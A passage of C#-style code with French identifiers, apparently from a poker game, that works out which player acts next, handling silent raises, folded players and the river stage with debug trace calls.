ProchainJoueur = -2;
}
else
{
TG.Tr("Ce n'est pas une para usuelle", 10);
if (ActifsAvecK_ontTousParle())
{
TG.Tr("ActifsAvecK_ontTousParle", 3);
ProchainJoueur = -1;
}
else
{
TG.Tr("Les Actif avec K n'ont pas tous parlé", 10);
}
flagRelanceMuette = false;
for (int i = 0; i < 6; i++)
{
if (TabDecision[i] == "Muet")
{
for (int j = 0; j < 6; j++)
{
if (TabDecision[j] == "ABANDONNER" || TabDecision[j] == "MORT")
{
continue;
}
if (TabEng[j] < TabEng[i])
{
TG.Tr("Eng" + j + "=" + TabEng[j] + "<Eng" + i + "=" + TabEng[i], 4);
flagRelanceMuette = true;
break;
}
}
if (flagRelanceMuette)
{
TG.Tr("Vraie Relance Muette", 3);
TrouveProchain();
break;
}
}
}
if (!flagRelanceMuette)
{
TG.Tr("NOT flagRelanceMuette", 3);
ProchainJoueur = -1;
}
}
}
if (ProchainJoueur == -1)
{
TG.Tr("Dernier PJ =-1", 3);
TG.Tr("Etape:" + Etape, 3);
if (Etape == "RIVER")
{
TG.Tr("Etape RIVER", 3);
ProchainJoueur = -2;
}
}
TG.Tr("sortie de DPJ_USUEL", 2);
}
